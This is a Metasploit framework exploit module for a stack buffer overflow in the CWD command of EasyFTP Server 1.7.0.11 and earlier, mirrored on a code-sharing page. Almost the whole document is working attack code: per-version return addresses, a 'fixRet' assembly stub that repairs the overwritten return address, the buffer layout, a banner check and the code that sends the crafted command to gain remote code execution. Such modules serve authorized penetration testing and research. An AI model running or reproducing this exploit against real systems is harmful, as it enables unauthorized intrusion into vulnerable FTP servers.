Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/ftp/easyftp_cwd_fixret.rb
19513 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Ftp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'EasyFTP Server CWD Command Stack Buffer Overflow',
16
'Description' => %q{
17
This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11
18
and earlier. EasyFTP fails to check input size when parsing 'CWD' commands, which
19
leads to a stack based buffer overflow. EasyFTP allows anonymous access by
20
default; valid credentials are typically unnecessary to exploit this vulnerability.
21
22
After version 1.7.0.12, this package was renamed "UplusFtp".
23
24
This exploit utilizes a small piece of code that I\'ve referred to as 'fixRet'.
25
This code allows us to inject of payload of ~500 bytes into a 264 byte buffer by
26
'fixing' the return address post-exploitation. See references for more information.
27
},
28
'Author' => [
29
'Paul Makowski <my.hndl[at]gmail.com>', # original version
30
'jduck' # various fixes, remove most hardcoded addresses
31
],
32
'License' => MSF_LICENSE,
33
'References' => [
34
[ 'OSVDB', '62134' ],
35
[ 'BID', '38262' ],
36
[ 'URL', 'http://paulmakowski.wordpress.com/2010/02/28/increasing-payload-size-w-return-address-overwrite/' ],
37
[ 'URL', 'http://paulmakowski.wordpress.com/2010/04/19/metasploit-plugin-for-easyftp-server-exploit' ],
38
[ 'URL', 'https://seclists.org/bugtraq/2010/Feb/202' ]
39
],
40
'Privileged' => false,
41
'Payload' => {
42
# Total bytes able to write without crashing program (505) - length of fixRet (25) - slack space (30) = 450
43
'Space' => 505 - 30 - 25,
44
'BadChars' => "\x00\x0a\x2f\x5c", # from: http://downloads.securityfocus.com/vulnerabilities/exploits/38262-1.py
45
'DisableNops' => true
46
},
47
'Platform' => 'win',
48
'Targets' => [
49
[ 'Windows Universal - v1.7.0.2', { 'Ret' => 0x00404121 } ], # call edi - from ftpbasicsvr.exe
50
[ 'Windows Universal - v1.7.0.3', { 'Ret' => 0x00404121 } ], # call edi - from ftpbasicsvr.exe
51
[ 'Windows Universal - v1.7.0.4', { 'Ret' => 0x00404111 } ], # call edi - from ftpbasicsvr.exe
52
[ 'Windows Universal - v1.7.0.5', { 'Ret' => 0x004040ea } ], # call edi - from ftpbasicsvr.exe
53
[ 'Windows Universal - v1.7.0.6', { 'Ret' => 0x004040ea } ], # call edi - from ftpbasicsvr.exe
54
[ 'Windows Universal - v1.7.0.7', { 'Ret' => 0x004040ea } ], # call edi - from ftpbasicsvr.exe
55
[ 'Windows Universal - v1.7.0.8', { 'Ret' => 0x004043ca } ], # call edi - from ftpbasicsvr.exe
56
[ 'Windows Universal - v1.7.0.9', { 'Ret' => 0x0040438a } ], # call edi - from ftpbasicsvr.exe
57
[ 'Windows Universal - v1.7.0.10', { 'Ret' => 0x0040435a } ], # call edi - from ftpbasicsvr.exe
58
[ 'Windows Universal - v1.7.0.11', { 'Ret' => 0x0040435a } ], # call edi - from ftpbasicsvr.exe
59
],
60
'DisclosureDate' => '2010-02-16',
61
'DefaultTarget' => 0,
62
'Notes' => {
63
'Reliability' => UNKNOWN_RELIABILITY,
64
'Stability' => UNKNOWN_STABILITY,
65
'SideEffects' => UNKNOWN_SIDE_EFFECTS
66
}
67
)
68
)
69
end
70
71
def check
72
connect
73
disconnect
74
75
if (banner =~ /BigFoolCat/) # EasyFTP Server has undergone several name changes
76
return Exploit::CheckCode::Detected
77
end
78
79
return Exploit::CheckCode::Safe
80
end
81
82
def exploit
83
connect_login
84
85
# If the payload's length is larger than 233 bytes then the payload must be bisected with the return address and later patched.
86
# Explanation of technique: http://paulmakowski.wordpress.com/2010/02/28/increasing-payload-size-w-return-address-overwrite/
87
88
# NOTE:
89
# This exploit jumps to edi, which happens to point at a partial version of
90
# the 'buf' string in memory. The fixRet below fixes up the code stored on the
91
# stack and then jumps there to execute the payload. The value in esp is used
92
# with an offset for the fixup.
93
fixRet_asm = %q{
94
mov ecx, 0xdeadbeef
95
mov edi, esp
96
sub edi, 0xfffffe14
97
mov [edi], ecx
98
add edi, 0xffffff14
99
jmp edi
100
}
101
fixRet = Metasm::Shellcode.assemble(Metasm::Ia32.new, fixRet_asm).encode_string
102
103
buf = ''
104
105
print_status("Prepending fixRet...")
106
buf << fixRet
107
buf << make_nops(0x20 - buf.length)
108
# buf << "C" * (0x20 - buf.length)
109
110
print_status("Adding the payload...")
111
buf << payload.encoded
112
113
# Backup the original return address bytes
114
buf[1, 4] = buf[268, 4]
115
116
print_status("Overwriting part of the payload with target address...")
117
buf[268, 4] = [target.ret].pack('V') # put return address @ 268 bytes
118
119
# NOTE: SEH head at offset 256 also gets smashed. That is, it becomes what is at fs:[0] ..
120
121
print_status("Sending exploit buffer...")
122
send_cmd(['CWD', buf], false) # this will automatically put a space between 'CWD' and our attack string
123
124
handler
125
disconnect
126
end
127
end
128
129